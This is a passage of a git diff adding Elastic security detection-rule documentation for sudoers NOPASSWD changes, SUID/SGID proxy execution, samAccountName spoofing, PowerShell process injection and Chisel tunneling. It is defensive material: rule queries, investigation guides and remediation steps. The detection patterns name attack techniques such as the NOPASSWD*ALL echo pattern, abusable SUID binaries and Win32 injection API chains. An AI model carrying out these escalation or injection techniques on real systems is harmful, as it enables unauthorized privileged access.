Services Registry Permissions Weakness +** ID: T1574.011 +** Reference URL: https://attack.mitre.org/techniques/T1574/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-sudoers-file-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-sudoers-file-modification.asciidoc new file mode 100644 index 0000000000..b208300b4b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-sudoers-file-modification.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-20-potential-privilege-escalation-via-sudoers-file-modification]] +=== Potential Privilege Escalation via Sudoers File Modification + +A sudoers file specifies the commands users or groups can run and from which terminals. Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. + +*Rule type*: query + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via Sudoers File Modification* + + +The sudoers file is crucial in Unix-like systems, defining user permissions for executing commands with elevated privileges. Adversaries may exploit this by modifying the file to allow unauthorized privilege escalation, often using the NOPASSWD directive to bypass password prompts. The detection rule identifies suspicious process activities, such as attempts to alter sudoers configurations, by monitoring specific command patterns indicative of such exploits. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific process that triggered the alert, focusing on the process.args field to confirm the presence of the *NOPASSWD*ALL* pattern. +- Examine the process execution context, including the user account under which the process was initiated, to determine if it aligns with expected behavior or if it indicates potential misuse. +- Check the system's sudoers file for recent modifications, especially looking for unauthorized entries or changes that include the NOPASSWD directive. +- Investigate the command history of the user associated with the alert to identify any suspicious activities or commands executed around the time of the alert. +- Correlate the event with other logs or alerts from the same host or user to identify any patterns or additional indicators of compromise that might suggest a broader attack. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule if administrators frequently update the sudoers file to add legitimate NOPASSWD entries for automation purposes. To manage this, create exceptions for known administrative scripts or processes that are regularly reviewed and approved. +- Configuration management tools like Ansible or Puppet might modify the sudoers file as part of their normal operation. Exclude these tools from triggering alerts by identifying their specific process names or paths and adding them to an exception list. +- Development environments where developers are granted temporary elevated privileges for testing purposes can cause false positives. Implement a policy to log and review these changes separately, ensuring they are reverted after use. +- Automated scripts that require passwordless sudo access for operational efficiency might be flagged. Document these scripts and their usage, and configure the detection system to ignore these specific, well-documented cases. +- System updates or patches that modify sudoers configurations as part of their installation process can be mistaken for malicious activity. Monitor update schedules and correlate them with alerts to identify and exclude these benign changes. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or privilege escalation. +- Review and revert any unauthorized changes to the sudoers file by restoring it from a known good backup or manually correcting the entries to remove any NOPASSWD directives added by the adversary. +- Conduct a thorough audit of user accounts and permissions on the affected system to identify and remove any unauthorized accounts or privilege assignments. +- Reset passwords for all accounts with elevated privileges on the affected system to ensure that compromised credentials cannot be reused. +- Deploy endpoint detection and response (EDR) tools to monitor for any further suspicious activities or attempts to modify the sudoers file across the network. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat has spread to other systems. +- Implement additional logging and alerting for changes to the sudoers file and other critical configuration files to enhance detection of similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and event.type:start and process.args:(echo and *NOPASSWD*ALL*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-suid-sgid-proxy-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-suid-sgid-proxy-execution.asciidoc new file mode 100644 index 0000000000..6ee040a273 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-suid-sgid-proxy-execution.asciidoc @@ -0,0 +1,201 @@ +[[prebuilt-rule-8-19-20-potential-privilege-escalation-via-suid-sgid-proxy-execution]] +=== Potential Privilege Escalation via SUID/SGID Proxy Execution + +Detects potential privilege escalation via SUID/SGID proxy execution on Linux systems. Attackers may exploit binaries with the SUID/SGID bit set to execute commands with elevated privileges. This rule identifies instances where a process is executed with root privileges (user ID 0 or group ID 0) while the real user or group ID is non-root, indicating potential misuse of SUID/SGID binaries. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dfir.ch/posts/today_i_learned_binfmt_misc/ +* https://gtfobins.github.io/#+suid +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via SUID/SGID Proxy Execution* + + +This rule surfaces executions of well-known SUID/SGID helpers on Linux that run with root privileges while the launching user remains non‑root, signaling an attempt to proxy elevated rights. It matters because a non‑privileged process invoking pkexec can spawn /bin/sh as root via environment manipulation, turning a low-privilege foothold into full system control. + + +*Possible investigation steps* + + +- Determine if the invocation is interactive and expected (e.g., admin using su/sudo) by correlating with a TTY/SSH session, recent successful authentication logs, and sudo/polkit policy outcomes in journald. +- For pkexec events, inspect the environment for exploit indicators (e.g., unset argv or suspicious GCONV_PATH, PATH, LD_PRELOAD, LC_* values) and look for attacker-created files in /tmp or the user's home that match gconv or loader artifacts. +- Review the child/descendant process tree of the SUID/SGID helper to see if it spawned a root shell or arbitrary interpreter, and pivot to concurrent network connections or file writes by those children. +- Validate whether the executable’s SUID/SGID file on disk has been tampered with by checking its hash, permissions, ownership, and recent mtime against package manager metadata and known-good baselines. +- If the binary is mount/umount/fusermount or newuidmap/newgidmap, correlate with container or FUSE activity to confirm a legitimate workflow and inspect mounts or namespace changes for risky options (e.g., suid, exec) or unusual target directories. + + +*False positive analysis* + + +- An authorized pkexec or polkit-agent-helper invocation by a user to perform a permitted administrative task may run as root while the real user is non‑root, often with a single‑argument parent, and should align with an interactive prompt and expected policy. +- Normal unprivileged workflows using fusermount3 or newuidmap/newgidmap legitimately leverage SUID/SGID helpers, typically launched by a simple shell with one argument, and should correlate with expected mount or user‑namespace activity. + + +*Response and remediation* + + +- Immediately isolate the host, kill the offending SUID/SGID child processes (e.g., pkexec spawning /bin/sh), and temporarily remove the setuid/setgid bit from the abused binary (chmod u-s /usr/bin/pkexec or chmod g-s /usr/bin/newgrp) to halt further elevation. +- Reinstall and verify integrity of abused packages and SUID helpers (e.g., polkit to replace /usr/bin/pkexec, dbus-daemon-launch-helper, fusermount3) and delete attacker artifacts such as gconv modules or LD_PRELOAD payloads from /tmp, /var/tmp, and user homes. +- Undo attacker changes by restoring /etc/sudoers, /etc/passwd and /etc/shadow, and polkit rules under /usr/share/polkit-1 or /etc/polkit-1, unmount suspicious FUSE or bind mounts created by fusermount3/mount, and rotate credentials and keys. +- Escalate to incident command if you observe a SUID helper launching an interactive root shell (/bin/sh -p or bash -p), root-owned droppers in /tmp or /usr/local/bin, or similar events on more than one host or account. +- Permanently reduce the SUID/SGID attack surface by auditing and removing setuid bits from rarely used binaries (e.g., chfn, chsh, newgrp, ssh-keysign), restricting pkexec via polkit rules to specific callers, and mounting /tmp, /var/tmp, and home directories with nosuid,nodev,noexec. +- Strengthen monitoring and policy by enabling AppArmor/SELinux confinement for pkexec and mount helpers, adding auditd rules for exec of setuid binaries and writes to /tmp by root, and enforcing least-privilege sudoers by removing broad NOPASSWD entries and requiring MFA for privileged tasks. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + (process.user.id == "0" and process.real_user.id != "0") or + (process.group.id == "0" and process.real_group.id != "0") +) and process.args in ( + "/bin/su", "/usr/bin/su", + "/usr/bin/sudo", + "/bin/mount", "/usr/bin/mount", + "/bin/umount", "/usr/bin/umount", + "/usr/bin/fusermount3", + "/bin/passwd", "/usr/bin/passwd", + "/bin/chfn", "/usr/bin/chfn", + "/bin/chsh", "/usr/bin/chsh", + "/bin/gpasswd", "/usr/bin/gpasswd", + "/bin/newgrp", "/usr/bin/newgrp", + "/sbin/unix_chkpwd", "/usr/sbin/unix_chkpwd", + "/usr/bin/newuidmap", "/usr/bin/newgidmap", + "/usr/lib/dbus-1.0/dbus-daemon-launch-helper", "/usr/libexec/dbus-daemon-launch-helper", + "/usr/lib/openssh/ssh-keysign", "/usr/libexec/openssh/ssh-keysign", + "/usr/bin/pkexec", "/usr/libexec/pkexec", "/usr/lib/polkit-1/pkexec", + "/usr/lib/polkit-1/polkit-agent-helper-1", "/usr/libexec/polkit-agent-helper-1", + "/usr/lib/snapd/snap-confine" +) and process.parent.args_count == 1 and +not process.parent.executable in ( + "/usr/libexec/oracle-cloud-agent/plugins/unifiedmonitoring/unifiedmonitoring", "/usr/libexec/oracle-cloud-agent/agent", + "/usr/lib/x86_64-linux-gnu/libexec/polkit-kde-authentication-agent-1", "/usr/libexec/xfce-polkit", "/usr/bin/dolphin" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privileged-escalation-via-samaccountname-spoofing.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privileged-escalation-via-samaccountname-spoofing.asciidoc new file mode 100644 index 0000000000..0593195dc5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privileged-escalation-via-samaccountname-spoofing.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-20-potential-privileged-escalation-via-samaccountname-spoofing]] +=== Potential Privileged Escalation via SamAccountName Spoofing + +Identifies a suspicious computer account name rename event, which may indicate an attempt to exploit CVE-2021-42278 to elevate privileges from a standard domain user to a user with domain admin privileges. CVE-2021-42278 is a security vulnerability that allows potential attackers to impersonate a domain controller via samAccountName attribute spoofing. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e +* https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/ +* https://github.com/cube0x0/noPac +* https://twitter.com/exploitph/status/1469157138928914432 +* https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Use Case: Vulnerability +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privileged Escalation via SamAccountName Spoofing* + + +In Active Directory environments, the samAccountName attribute is crucial for identifying user and computer accounts. Adversaries may exploit vulnerabilities like CVE-2021-42278 to spoof this attribute, potentially elevating privileges by renaming computer accounts to mimic domain controllers. The detection rule identifies suspicious renaming events, where a machine account is altered to resemble a user account, signaling possible privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the event logs to confirm the occurrence of a "renamed-user-account" action, focusing on entries where the OldTargetUserName ends with a "$" and the NewTargetUserName does not, indicating a potential spoofing attempt. +- Identify the source of the rename event by examining the event logs for the user or system that initiated the change, and determine if it aligns with expected administrative activity. +- Check the history of the NewTargetUserName to see if it has been used in any recent authentication attempts or privileged operations, which could indicate malicious intent. +- Investigate the associated IP address and hostname from which the rename action was performed to determine if it is a known and trusted source within the network. +- Correlate the event with other security alerts or logs to identify any patterns or additional suspicious activities that might suggest a broader attack campaign. +- Assess the potential impact by determining if the renamed account has been granted elevated privileges or access to sensitive resources since the rename event occurred. + + +*False positive analysis* + + +- Routine administrative tasks involving legitimate renaming of computer accounts can trigger false positives. To manage this, create exceptions for known administrative activities by excluding specific administrator accounts or service accounts from the detection rule. +- Automated processes or scripts that rename computer accounts as part of regular maintenance or deployment procedures may also cause false alerts. Identify these processes and exclude their associated accounts or event patterns from the rule. +- Temporary renaming of computer accounts for troubleshooting or testing purposes can be mistaken for suspicious activity. Document and exclude these temporary changes by maintaining a list of authorized personnel and their activities. +- Changes made by trusted third-party software or management tools that interact with Active Directory should be reviewed and, if deemed safe, excluded from triggering alerts by specifying the tool's account or signature in the rule exceptions. + + +*Response and remediation* + + +- Immediately isolate the affected machine from the network to prevent further unauthorized access or lateral movement within the domain. +- Revert any unauthorized changes to the samAccountName attribute by renaming the affected computer account back to its original name. +- Conduct a thorough review of recent changes in Active Directory, focusing on user and computer account modifications, to identify any other potentially compromised accounts. +- Reset passwords for the affected machine account and any other accounts that may have been accessed or modified during the incident. +- Apply the latest security patches and updates to all domain controllers and critical systems to mitigate vulnerabilities like CVE-2021-42278. +- Enhance monitoring and logging for Active Directory events, specifically focusing on account renaming activities, to detect similar threats in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation efforts are undertaken. + +==== Rule query + + +[source, js] +---------------------------------- +iam where host.os.type == "windows" and event.action == "renamed-user-account" and + /* machine account name renamed to user like account name */ + winlog.event_data.OldTargetUserName : "*$" and not winlog.event_data.NewTargetUserName : "*$" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Domain Accounts +** ID: T1078.002 +** Reference URL: https://attack.mitre.org/techniques/T1078/002/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-process-injection-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-process-injection-via-powershell.asciidoc new file mode 100644 index 0000000000..50e59ae16a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-process-injection-via-powershell.asciidoc @@ -0,0 +1,206 @@ +[[prebuilt-rule-8-19-20-potential-process-injection-via-powershell]] +=== Potential Process Injection via PowerShell + +Detects PowerShell scripts that combines Win32 APIs for allocation/protection or process access (for example, VirtualAlloc/VirtualProtect/OpenProcess/AdjustTokenPrivileges/LoadLibrary/GetProcAddress) with injection or execution APIs (WriteProcessMemory/CreateRemoteThread/NtCreateThreadEx/QueueUserAPC/ResumeThread). Attackers use these API chains to inject code into remote processes and execute payloads in memory for defense evasion. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/EmpireProject/Empire/blob/master/data/module_source/management/Invoke-PSInject.ps1 +* https://github.com/EmpireProject/Empire/blob/master/data/module_source/management/Invoke-ReflectivePEInjection.ps1 +* https://github.com/BC-SECURITY/Empire/blob/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1 +* https://www.elastic.co/security-labs/detect-credential-access + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: PowerShell Logs + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Potential Process Injection via PowerShell* + + +This rule Detects PowerShell scripts that references a combination of Win32 APIs commonly used to open a target process, allocate or change memory protections, write data into another process, and execute it via a remote thread or APC. This behavior is frequently associated with process injection and in-memory payload execution on Windows hosts. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Review and preserve the script content: + - Inspect `powershell.file.script_block_text` for the full API chain and surrounding logic (function definitions, payload construction, and execution flow). + - If the content is split across multiple events, reconstruct it by grouping on `powershell.file.script_block_id`, ordering by `powershell.sequence`, and validating completeness with `powershell.total`. Preserve the reconstructed content for follow-up analysis. + - Use `powershell.file.script_block_length` to help gauge whether the script is a small launcher or a larger framework with embedded payloads. + +- Identify the injection technique and likely target: + - Determine which execution primitive is being used (for example, `CreateRemoteThread`, `NtCreateThreadEx`, `QueueUserAPC`, or thread `SuspendThread`/`ResumeThread` patterns) and whether it suggests immediate or deferred execution. + - Look for how the target process is selected (process name strings, PID variables, or process enumeration logic) and capture any referenced process names or IDs for scoping. + - Note any privilege manipulation via `OpenProcessToken` and `AdjustTokenPrivileges`, which can indicate attempts to access protected processes. + +- Assess how native APIs are being invoked: + - Identify dynamic resolution patterns such as `LoadLibrary*`/`LdrLoadDll` with `GetProcAddress`, which are commonly used to avoid static imports and hinder analysis. + - If `GetDelegateForFunctionPointer` is present, review the surrounding text for delegate definitions and indirect invocation logic. + +- Validate execution context and script provenance: + - Review `user.name`, `user.domain`, and `user.id` for signs of unusual execution (unexpected account type, first-time observation on the host, or activity outside expected administrative workflows). + - Review `host.name` and `host.id` to understand the asset impacted and whether the behavior aligns with the host's role in your environment. + - If `file.path`, `file.directory`, or `file.name` are populated, assess whether the script originated from a controlled location and naming convention, or from a user-writable or temporary location. + +- Scope related PowerShell activity: + - On the same `host.id` and `user.id`, review additional script block events near `@timestamp` to identify staging actions that commonly bracket injection attempts (download, decode/decrypt, reflective loading, or cleanup). + - Search for repeated use of distinctive substrings from `powershell.file.script_block_text` across other hosts or users to determine prevalence and potential reuse. + +- Correlate with adjacent host telemetry (if available in your environment): + - Pivot from `host.name` and `@timestamp` to process activity to identify the PowerShell host process, its parent process, and any processes that may have been targeted for injection. + - Review network activity from the same `host.name` around the alert time for potential payload retrieval, command-and-control, or lateral movement. + - Review file activity related to `file.path` (when present) and for any new or modified scripts or binaries referenced by the script block. + +- Make a disposition: + - Treat as higher risk when the script combines process access (`OpenProcess`), memory modification (`VirtualAlloc*`/`VirtualProtect`), and execution (`CreateRemoteThread`/`NtCreateThreadEx`/`QueueUserAPC`), especially when coupled with privilege adjustment or dynamic API resolution. + - Treat as lower risk only when there is a clear, documented administrative or testing justification tied to the same `user.id`, `host.id`, and script origin. + + +*False positive analysis* + + +- Legitimate PowerShell can use Win32 API interop for diagnostics, automation, or compatibility work; however, the combination of remote memory operations and remote execution APIs is uncommon in routine administration. +- Developer tooling or monitoring frameworks may load libraries or resolve symbols dynamically; validate that the script content aligns with expected tool behavior and that the script origin (`file.path`/`file.name`) is consistent and controlled. + + +*Response and remediation* + + +- If the activity is confirmed or strongly suspected malicious: + - Contain the affected host to prevent follow-on actions and lateral movement. + - Preserve evidence by retaining the reconstructed `powershell.file.script_block_text` (and associated `powershell.file.script_block_id`) and recording the alert context (`user.*`, `host.*`, and `file.*` where present). + - Identify the intended injection target from the script content and investigate that process and its recent activity for signs of compromise or anomalous behavior. + - Review the associated user account activity for additional suspicious behavior on the same host and other hosts, and take appropriate account actions if compromise is suspected. + - Hunt for the same script patterns across the environment using stable substrings from `powershell.file.script_block_text` and common `file.path`/`file.name` values, and remediate any additional impacted systems. + +- If the activity is verified as benign: + - Document the script purpose, owner, expected execution context (hosts and accounts), and expected script origin (`file.path`/`file.name`). + - Consider controlled rule tuning using stable, high-confidence identifiers from the verified benign workflow to reduce repeat alerts while maintaining coverage for new or unauthorized variants. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + (VirtualAlloc or VirtualAllocEx or VirtualProtect or LdrLoadDll or LoadLibrary or LoadLibraryA or + LoadLibraryEx or GetProcAddress or OpenProcess or OpenProcessToken or AdjustTokenPrivileges) and + (WriteProcessMemory or CreateRemoteThread or NtCreateThreadEx or CreateThread or QueueUserAPC or + SuspendThread or ResumeThread or GetDelegateForFunctionPointer) + ) and not + file.directory: ( + "C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\SenseCM" or + "C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\Downloads" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Dynamic-link Library Injection +** ID: T1055.001 +** Reference URL: https://attack.mitre.org/techniques/T1055/001/ +* Sub-technique: +** Name: Portable Executable Injection +** ID: T1055.002 +** Reference URL: https://attack.mitre.org/techniques/T1055/002/ +* Sub-technique: +** Name: Thread Execution Hijacking +** ID: T1055.003 +** Reference URL: https://attack.mitre.org/techniques/T1055/003/ +* Sub-technique: +** Name: Asynchronous Procedure Call +** ID: T1055.004 +** Reference URL: https://attack.mitre.org/techniques/T1055/004/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-protocol-tunneling-via-chisel-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-protocol-tunneling-via-chisel-client.asciidoc new file mode 100644 index 0000000000..96a263d38a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-protocol-tunneling-via-chisel-client.asciidoc @@ -0,0 +1,193 @@ +[[prebuilt-rule-8-19-20-potential-protocol-tunneling-via-chisel-client]] +=== Potential Protocol Tunneling via Chisel Client + +This rule monitors for common command line flags leveraged by the Chisel client utility followed by a connection attempt. Chisel is a command-line utility used for creating and managing TCP and UDP tunnels, enabling port forwarding and secure communication between machines. Attackers can abuse the Chisel utility to establish covert communication channels, bypass network restrictions, and carry out malicious activities by creating tunnels that allow unauthorized access to internal systems. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* 